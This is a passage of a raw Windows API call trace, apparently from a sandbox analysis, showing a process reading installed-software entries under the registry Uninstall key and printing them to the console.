RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.069] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.069] __iob_func () returned 0x7fefd702a80 [0151.069] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.069] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.069] _fileno (_File=0x7fefd702ab0) returned 1 [0151.069] _errno () returned 0x204bb0 [0151.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.069] _errno () returned 0x204bb0 [0151.069] GetFileType (hFile=0x50) returned 0x1 [0151.069] lstrlenW (lpString=" ") returned 4 [0151.069] GetConsoleOutputCP () returned 0x1b5 [0151.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.070] GetConsoleOutputCP () returned 0x1b5 [0151.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.070] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.070] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.070] lstrlenW (lpString="Language") returned 8 [0151.070] __iob_func () returned 0x7fefd702a80 [0151.070] _fileno (_File=0x7fefd702ab0) returned 1 [0151.070] _errno () returned 0x204bb0 [0151.070] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.070] _errno () returned 0x204bb0 [0151.070] GetFileType (hFile=0x50) returned 0x1 [0151.070] lstrlenW (lpString="Language") returned 8 [0151.070] GetConsoleOutputCP () returned 0x1b5 [0151.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.070] GetConsoleOutputCP () returned 0x1b5 [0151.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0151.070] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.070] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.070] __iob_func () returned 0x7fefd702a80 [0151.070] _fileno (_File=0x7fefd702ab0) returned 1 [0151.071] _errno () returned 0x204bb0 [0151.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.071] _errno () returned 0x204bb0 [0151.071] GetFileType (hFile=0x50) returned 0x1 [0151.071] lstrlenW (lpString=" ") returned 4 [0151.071] GetConsoleOutputCP () returned 0x1b5 [0151.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.071] GetConsoleOutputCP () returned 0x1b5 [0151.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.071] __iob_func () returned 0x7fefd702a80 [0151.071] _fileno (_File=0x7fefd702ab0) returned 1 [0151.071] _errno () returned 0x204bb0 [0151.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.071] _errno () returned 0x204bb0 [0151.071] GetFileType (hFile=0x50) returned 0x1 [0151.071] lstrlenW (lpString="REG_DWORD") returned 9 [0151.071] GetConsoleOutputCP () returned 0x1b5 [0151.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.071] GetConsoleOutputCP () returned 0x1b5 [0151.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.072] __iob_func () returned 0x7fefd702a80 [0151.072] _fileno (_File=0x7fefd702ab0) returned 1 [0151.072] _errno () returned 0x204bb0 [0151.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.072] _errno () returned 0x204bb0 [0151.072] GetFileType (hFile=0x50) returned 0x1 [0151.072] lstrlenW (lpString=" ") returned 4 [0151.072] GetConsoleOutputCP () returned 0x1b5 [0151.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.072] GetConsoleOutputCP () returned 0x1b5 [0151.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.072] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.072] __iob_func () returned 0x7fefd702a80 [0151.072] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.072] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0151.072] _fileno (_File=0x7fefd702ab0) returned 1 [0151.072] _errno () returned 0x204bb0 [0151.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.072] _errno () returned 0x204bb0 [0151.072] GetFileType (hFile=0x50) returned 0x1 [0151.072] lstrlenW (lpString="0x0") returned 3 [0151.072] GetConsoleOutputCP () returned 0x1b5 [0151.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.073] GetConsoleOutputCP () returned 0x1b5 [0151.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0151.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.073] __iob_func () returned 0x7fefd702a80 [0151.073] _fileno (_File=0x7fefd702ab0) returned 1 [0151.073] _errno () returned 0x204bb0 [0151.073] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.073] _errno () returned 0x204bb0 [0151.073] GetFileType (hFile=0x50) returned 0x1 [0151.073] lstrlenW (lpString="\n") returned 1 [0151.073] GetConsoleOutputCP () returned 0x1b5 [0151.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.073] GetConsoleOutputCP () returned 0x1b5 [0151.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.073] GetProcessHeap () returned 0x3c0000 [0151.073] GetProcessHeap () returned 0x3c0000 [0151.073] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.073] GetProcessHeap () returned 0x3c0000 [0151.073] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.073] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.074] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.074] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x7a) returned 0x0 [0151.074] GetProcessHeap () returned 0x3c0000 [0151.074] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7c) returned 0x3db830 [0151.074] GetProcessHeap () returned 0x3c0000 [0151.074] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.074] GetProcessHeap () returned 0x3c0000 [0151.074] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0151.074] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x7a | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", pcbData=0x29f780*=0x78) returned 0x0 [0151.074] __iob_func () returned 0x7fefd702a80 [0151.074] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.074] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.074] _fileno (_File=0x7fefd702ab0) returned 1 [0151.074] _errno () returned 0x204bb0 [0151.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.074] _errno () returned 0x204bb0 [0151.074] GetFileType (hFile=0x50) returned 0x1 [0151.074] lstrlenW (lpString=" ") returned 4 [0151.074] GetConsoleOutputCP () returned 0x1b5 [0151.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.074] GetConsoleOutputCP () returned 0x1b5 [0151.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.074] lstrlenW (lpString="DisplayName") returned 11 [0151.074] __iob_func () returned 0x7fefd702a80 [0151.074] _fileno (_File=0x7fefd702ab0) returned 1 [0151.075] _errno () returned 0x204bb0 [0151.075] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.075] _errno () returned 0x204bb0 [0151.075] GetFileType (hFile=0x50) returned 0x1 [0151.075] lstrlenW (lpString="DisplayName") returned 11 [0151.075] GetConsoleOutputCP () returned 0x1b5 [0151.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0151.075] GetConsoleOutputCP () returned 0x1b5 [0151.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0151.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0151.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.075] __iob_func () returned 0x7fefd702a80 [0151.075] _fileno (_File=0x7fefd702ab0) returned 1 [0151.075] _errno () returned 0x204bb0 [0151.075] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.075] _errno () returned 0x204bb0 [0151.075] GetFileType (hFile=0x50) returned 0x1 [0151.075] lstrlenW (lpString=" ") returned 4 [0151.075] GetConsoleOutputCP () returned 0x1b5 [0151.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.075] GetConsoleOutputCP () returned 0x1b5 [0151.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.076] __iob_func () returned 0x7fefd702a80 [0151.076] _fileno (_File=0x7fefd702ab0) returned 1 [0151.076] _errno () returned 0x204bb0 [0151.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.076] _errno () returned 0x204bb0 [0151.076] GetFileType (hFile=0x50) returned 0x1 [0151.076] lstrlenW (lpString="REG_SZ") returned 6 [0151.076] GetConsoleOutputCP () returned 0x1b5 [0151.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.076] GetConsoleOutputCP () returned 0x1b5 [0151.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.076] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.076] __iob_func () returned 0x7fefd702a80 [0151.076] _fileno (_File=0x7fefd702ab0) returned 1 [0151.076] _errno () returned 0x204bb0 [0151.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.076] _errno () returned 0x204bb0 [0151.076] GetFileType (hFile=0x50) returned 0x1 [0151.076] lstrlenW (lpString=" ") returned 4 [0151.076] GetConsoleOutputCP () returned 0x1b5 [0151.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.076] GetConsoleOutputCP () returned 0x1b5 [0151.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.077] __iob_func () returned 0x7fefd702a80 [0151.077] _fileno (_File=0x7fefd702ab0) returned 1 [0151.077] _errno () returned 0x204bb0 [0151.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.077] _errno () returned 0x204bb0 [0151.077] GetFileType (hFile=0x50) returned 0x1 [0151.077] lstrlenW (lpString="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219") returned 59 [0151.077] GetConsoleOutputCP () returned 0x1b5 [0151.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0151.077] GetConsoleOutputCP () returned 0x1b5 [0151.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", cchWideChar=59, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpUsedDefaultChar=0x0) returned 59 [0151.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 59 [0151.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.077] __iob_func () returned 0x7fefd702a80 [0151.077] _fileno (_File=0x7fefd702ab0) returned 1 [0151.077] _errno () returned 0x204bb0 [0151.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.077] _errno () returned 0x204bb0 [0151.077] GetFileType (hFile=0x50) returned 0x1 [0151.077] lstrlenW (lpString="\n") returned 1 [0151.078] GetConsoleOutputCP () returned 0x1b5 [0151.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.078] GetConsoleOutputCP () returned 0x1b5 [0151.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.078] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.078] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.078] GetProcessHeap () returned 0x3c0000 [0151.078] GetProcessHeap () returned 0x3c0000 [0151.078] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.078] GetProcessHeap () returned 0x3c0000 [0151.078] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7c [0151.078] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.078] __iob_func () returned 0x7fefd702a80 [0151.078] _fileno (_File=0x7fefd702ab0) returned 1 [0151.078] _errno () returned 0x204bb0 [0151.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.078] _errno () returned 0x204bb0 [0151.078] GetFileType (hFile=0x50) returned 0x1 [0151.078] lstrlenW (lpString="\n") returned 1 [0151.078] GetConsoleOutputCP () returned 0x1b5 [0151.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.078] GetConsoleOutputCP () returned 0x1b5 [0151.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0151.079] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0151.079] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0151.079] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 121 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0151.079] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.079] GetProcessHeap () returned 0x3c0000 [0151.079] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0151.079] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.079] RegCloseKey (hKey=0x5c) returned 0x0 [0151.079] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x26, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0151.079] __iob_func () returned 0x7fefd702a80 [0151.079] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.079] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n") returned 132 [0151.080] _fileno (_File=0x7fefd702ab0) returned 1 [0151.080] _errno () returned 0x204bb0 [0151.080] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.080] _errno () returned 0x204bb0 [0151.080] GetFileType (hFile=0x50) returned 0x1 [0151.080] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n") returned 132 [0151.080] GetConsoleOutputCP () returned 0x1b5 [0151.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0151.080] GetConsoleOutputCP () returned 0x1b5 [0151.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n", lpUsedDefaultChar=0x0) returned 132 [0151.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0151.080] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.080] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0151.080] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, 